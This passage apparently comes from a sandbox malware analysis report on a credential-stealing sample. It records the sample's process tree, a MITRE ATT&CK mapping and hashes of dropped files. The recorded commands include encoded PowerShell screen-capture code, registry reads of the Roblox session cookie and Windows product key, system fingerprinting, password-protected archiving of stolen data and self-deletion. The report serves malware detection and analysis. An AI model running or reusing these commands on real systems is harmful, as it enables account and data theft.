AHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1764
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:4832
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wd3lkuin\wd3lkuin.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4152
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES43DA.tmp" "c:\Users\Admin\AppData\Local\Temp\wd3lkuin\CSC3553B90A8E3F41BBB672ADFEB71822.TMP"
        6⤵
        
        PID:3456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4012
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4020
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2616
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4260
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3520
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3508
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3048
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3452
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1792
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1824
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2808
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:2552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI9362\rar.exe a -r -hp"blank666" "C:\Users\Admin\AppData\Local\Temp\PdPpF.zip" *"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1652
  - - C:\Users\Admin\AppData\Local\Temp\_MEI9362\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI9362\rar.exe a -r -hp"blank666" "C:\Users\Admin\AppData\Local\Temp\PdPpF.zip" *
      4⤵
      Executes dropped EXE
      PID:1388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3068
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:232
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4580
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2756
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3388
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2396
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:2272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3876
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\AppData\Local\Temp\xeno.exe""
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:4420
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 3
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4772

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 06abbf9cccdf6557b1f616e0c9214c580f1d2be928104a0c8193c2217dd98c1b
MD5 e8a95a33bdaa8522f9465fd024c3ec88
SHA1 45c15dbb8ab99be8e813aee1ed3e21ad334c8745
SHA512 c429d8d5bfba8790a725e9d6eed656b93e69bfa8290ca388cf007aeb82462db39539ce5da4ab00c19e795344119ab14cef915c39503da80a69953e0e2ee2a002
TLSH
T15271DD313375B0D4891A3F46192859C013BF4355F698AF1CB69C521EEA2740B9F223F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 050b465a18c9fadee7bbbf9c5eca1e6fee25c8433d26f0009640caa777656868
MD5 b5dd9c112297967aee8439777f6f9cb9
SHA1 0bfa3ea40d04c03b606aa6ea0e4ff6c6976f3612
SHA512 64716c542962a8b940dd3456926f746e14dd96677a6129d293cd6328ad6494be6e1ee17bb547ccbc0d255b38c42801c22a56205d8e2f58f79981e69abdd98efb
TLSH
T14B215723B3DDC850DC99523A609C9D9076B6D7C780DEDF9B3EC4C215917FA99CB111A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ffdea109a48af509b73d0e9a47b15e735d07a067a69e655ce11f6135123be885
MD5 373ed955f5cc213817d8cf25b8da7c07
SHA1 8080706d88c156a3a79c71986794a9cfbdb87897
SHA512 80d68642dd1bda56105ae002755e6697e5f1039f8be1c55df7a98b59a874883ab8e289d6cc042b7afd5e832a3945c6d47f3bc969d252d8ec70621d2e9c3a3ad6
TLSH
T19E216223B3DDC961CC89413A409D9DA036B6D7C340AECE8B7FC8C608A03F588CB211A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 53403608763e2783dbb05346a91ef68cadf4cd1227e2ce174aa0d90e56cf4e4a
MD5 e80a1a68562098804cf92c2442fe29bc
SHA1 e83f716696fdf014e42ef13778c9f4de009db111
SHA512 8a64bb12498c702aa1648076bc1e9b9be10e402aedec1f2faabc5cecc52b5f77442cbc849619fc403545371f70e553534aa63fe356ecf30529e14fe2e0d57f15
TLSH
T1D2213123B3DDC850DC99423A609C9DA076B697C780DEDF9B2EC4C216A17FA99CB111A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 0d0b4757926deb86ba244b864bc6c2b273b1cf181c3cefbd1ef0b831ef477013
MD5 4fa945a3c2fa26cee57ccf62c039260a
SHA1 57e6366222ba42330082a58c29dd991997ecd71c
SHA512 c8071f2e53ac1a0b75d1325a71ac9e757fc20ffb8b471ccaf26c8659db41c95cf6fdbffe273261e354f2fc6d896aecc9cfd2069a62d6ecc2f8f482694af787b6
TLSH
T1BC113423B7DC8991CC89523A50989D9176B3D7C7809EDEDB2EC4C205A17F599CB20150
MD5 SHA1 SHA512 TLSH

Submit Download

RES43DA.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES43DA.tmp
Size 1KB
SHA256 6ecf5ff80f8dfefe2e1e841e99d5e02da92b3f209dc64b859aed8d7233f75e09
MD5 7d2fb536192e522efe4e649b8bc2aabe
SHA1 81e80f5f2dc1e7960def4ca3b18db61f1fd2d16a
SHA512 476c0cd84ab67f2594b6f05bbe8708c8a9cfb128767c9dd33b33ea71b5623e4df98f28b47484def0451f671e947b9d0004ee54579e30f6a2be769e6db3fc1aa2
TLSH
T14121CC0543E9470FF0B39731A9FA532F9226FE65EFA253AA8644522D1C51204DEB0FB2
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI9362\VCRUNTIME140.dll
Size 117KB
SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
MD5 32da96115c9d783a0769312c0482a62d
SHA1 2ea840a5faa87a2fe8d7e5cb4367f2418077d66b
SHA512 616c78b4a24761d4640ae2377b873f7779322ef7bc26f8de7da0d880b227c577ed6f5ed794fc733468477b2fcdb7916def250e5dc63e79257616f99768419087
SSDEEP 1536:Z9TXF5YXWbj8qr51XlN+dULTCe1IGhKWyxLiyaXYaNxoecbdhUoaLjTz164zEd:ZEnsvReGsWyxLizXFkecbd1aPTzW
TLSH
T10DC38C8572A002FBD16AC274C1A36A17FB75B94487B0A7CF03B58A650F53BE09E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140_1.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI9362\VCRUNTIME140_1.dll
Size 48KB
SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
MD5 c0c0b4c611561f94798b62eb43097722
SHA1 523f515eed3af6d50e57a3eaeb906f4ccc1865fe
SHA512 35db454dbcc7ed89842c0440b92ce0b0b0db41dbd5432a36a0b7e1eddf51704b1f0d6cff5e3a3b0c3ff5db3d8632fed000471180ad72e39d8dbe68a757ccdfb0
SSDEEP 768:vzzO6ujT3MbR3v0Cz6Sz5q83ywug1HDV9zxfYbK9z:mq/oMx3hXHDnzxfYiz
TLSH
T1AE236BA453784486D4AB99B0C0DAEE577D7CFA964B10928F0BA0D15C1F637D0EB3D21B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_asyncio.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI9362\_asyncio.pyd
Size 41KB
SHA256 ff35821550598e87716645c7306f57e46546a06b49bcfc2eb1b32a1669d1e104
MD5 a3c6b76412d9e36541ccfb1f9032aa87
SHA1 b82b527696424342f3ecd1acb2e00fabbcfe722d
SHA512 f3e6cebd72cf71930573fdb87fd8166ec0468b1aa5aa46fc0b1a3fec03952b47cee64c9fe3effb6b23eab59c8b2e90a492a6c601a3e70525788fe572c91c53ab
SSDEEP 768:sCwXmcyEn3ioDiRPuvyqEk/ptwI1DnBxYyvcZRYT2Ip4aTxf1mlIJullo:sC3M3ioDiAvytowI1DnBeyvcvR9SfIkP
TLSH
T11213BF8A42388062E9A3AE7193D4CD43FE717BD368549F3730AE929A0F573D17366079
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI9362\_bz2.pyd
Size 50KB
SHA256 46526319ada6479a923ee20504ba98023f9f944157cadaa81684f8beae3343b3
MD5 4cfc007423bcd7e19cc4d73b1780385f
SHA1 47af1e1ef089dc103d765ecb464235da5af4d925
SHA512 17179370c5496578aae8683f822e16dce5f681f704ba3cdc09e0ffe9297e3418be31ddce665507da608fc89badb8a6e83b0b575a58c0a16faa1f2074921a5007
SSDEEP 1536:vidEwF3s452dE+yJlaFTqzP/zojZLHoI13VRmyvcvR9qfIk2:vi283s0+yPzHzoNLII13VRG
TLSH
T1BE33D0CA86748137FAA3AFB162F4C9D2FE75A3E31541CB1620BD924A4E173C19B13691
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI9362\_ctypes.pyd
Size 67KB
SHA256 f67ff15f4012ab925995bc4b8e0417c1b588456b6f635dc4b7b81c27b180ecc8
MD5 b938f99dfd557bec3e67453f8ea4c4a1
SHA1 e347a4e7ee69463e098ff27b7e2c06e4b00b3b05
SHA512 c4f516aea7cf19a00f492b65205a0070260313f544dc0fb90e6804d2d77d63c2f2ace1f3624c649299fd58e5341cc2f14b7ea183e84d1bbad1389d6614163ac0
SSDEEP 1536:kvH6pv5fI2T+++UM+ou0mYhPMJfFK1VtmH/+zdK7GI1GP+yyvcvR97fILP+:AH0v5rT1Qu0mYJc+MqI1GP+Fy
TLSH
T1FA63F1D610AC9292E9A3597222D4D5E2F931ABC39329826770FDD1B60F733D0A70B355
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_decimal.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI9362\_decimal.pyd
Size 121KB
SHA256 a070dd949b3c5eb32b08fd03a3c1ea059af366986842ffafd60eb098677facb7
MD5 acb74eae052a66912abf57113f1c13b8
SHA1 d8a7bf5228e477d7d4acbacca6930a96c2d74c01
SHA512 f8734f0a3401141999baa9b1c8f8bfe6f6fb56b379b6967123edb74341a5bde7269c95fed2109377e37840bdf724860fa3d741bfdd942c75df56745922fe588e
SSDEEP 3072:KxLl/NtndaxT2Qz4dWqrK8ivI1DqQxeQ:Kpl/jd2iKw7JiYxe
TLSH
T12CC302DB41580044FAB72B329295DFB6F43DAED32B518B0B6064C2EB2FC5743AF59216
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI9362\_hashlib.pyd
Size 38KB
SHA256 65e85c27ebafbc481fa84859647d2c3d570b12164379fa1bff951b8fcb23c032
MD5 176fd7c5cede637453a609376ea60073
SHA1 2d63cc00eb841652087017c9d1e26bbce54993b3
SHA512 e8433eb388b5412566074212dd4048d1a19005b2e7d443b49151466055d441d6de7a69e3e28c17d1fd09b31779a38f77551d865051e01a91265a10ef73f7cc69
SSDEEP 768:fM9xNXrof2qQGtt4wLzpG2hZpy9I1DIs0YyvcZRYT2Ip4HTxf1ml6Z+7ETNgd:e7ouqQit/L0EG9I1DIslyvcvR9tfIL46
TLSH
T14E03C0CB063E9153E5A3A97093A4DA92FD34BBE36441476B30FD91DA0E573C0F71216A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI9362\_lzma.pyd
Size 88KB
SHA256 4d14314c380451cff5e7c82142b34714dc4b1543a553198eea8d611aae0ee9c8
MD5 9bccc010ebfe7152b2bae554fa24ba05
SHA1 7f61f3f1b87cbd42f20bee39593518b80b871214
SHA512 b6e04ca5e601b856e088406d50df446d9b341f1e2c5dc712c5cdcbe0057908af603e36833635a885784d358e8d5000f05333cf89b58da050e56996eb42049f8b
SSDEEP 1536:k5d954VcaVW2kT/N8JRXWsEoJazX3QGHeBI8ON6B3N0a8/CxI1I1+QyvcvR9HHf0:k5DelVW2AV876d3QG8ON6BdZ8/oI1I18
TLSH
T12D9301CA85754267F5B74A7093E0E591EA3077D350A22B1F74ECA0B94E93382472B37D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_multiprocessing.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI9362\_multiprocessing.pyd
Size 29KB
SHA256 a9c4a84c20b8d7f78ce6527b91a47cb1111851405e467d81830c179375a8ef42
MD5 8aa85202b883d5e7dbf1d89daa01efe4
SHA1 da83e3b3cc601d8b568507d3fbc790ac39e6944d
SHA512 6556f1a3514e191046e034747f36035698852fb9d5ea445fa1e3b1919ef6a3ba86afb80c3a9c7e73e2325027a78299399768f717ee9d92ad164630f85f90c403
SSDEEP 768:tU8vs5j2pFUFI17t8aYyvcZRYT2Ip4rOTxf1ml9dHR7L9Hc:tU8U5sUFI17t8PyvcvR9ifIbHRn9Hc
TLSH
T18DD2AFD786389113EAE3AF7153D4D982F938BBD31455876B30EA81DA1E773D0E316224
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_overlapped.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI9362\_overlapped.pyd
Size 36KB
SHA256 439cbc1bfcf4a5326e3e42b40a24c5a1157c16a6f4984cf67db382b92406ece1
MD5 64f579286d2893be6fc5bd7bb44654c3
SHA1 1fdf37e3dc9428304cdfd667debaaccf905ee534
SHA512 6d96be172991512f0ad78b3aae174d10ff546eb06ed33bbf7c13e7a39cd7ff2854901746afa44b928a4e97308978f806eaf805e6853a7253241b6a51b8c20ffe
SSDEEP 768:/bDc7ucAnwgdbnt09F4DjqFdWopt7tI1Ct8dYyvcZRYT2Ip45VTxf1ml9dHU7L9z:/FNPbt04DjqFdW+7tI1Ct8ayvcvR95vN
TLSH
T1F8F2AFC646BC5012EE736D7053D4DE82FE39B7E72485966B30EE019A1E673C09B1722E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_queue.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI9362\_queue.pyd
Size 28KB
SHA256 79592bbd5040ffcf547d9e50184f3497dfecd19df9c344ad6e44481e0749d635
MD5 e25f71cd73706a076454eb501fcaabaa
SHA1 e9535050d3d1e779aa2ff0f3b6ce0288110b3213
SHA512 d4a1b141d66c1f052408266e1d856858121df1a23f2ca66be0b230486329a897a522207df289f8b063e6ea8d89e5bfc6263681d671ec66fb84281378a1c2ebdc
SSDEEP 768:xp2ohFkrVlMv2MpZII1RUsyYyvcZRYT2Ip4ITxf1ml6Z+7EJNgyrma:xHjkrIrII1RUsHyvcvR90fILqFrT
TLSH
T172D29EDA47B8C247EAA3AD7193D4DA93BE39B7D320458B2B30DD91960E533C0E313265
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI9362\_socket.pyd
Size 46KB
SHA256 f82ec1cd6fb7cfa43d53612957536dc10faef97e0b1e4505ce9933e158f837cb
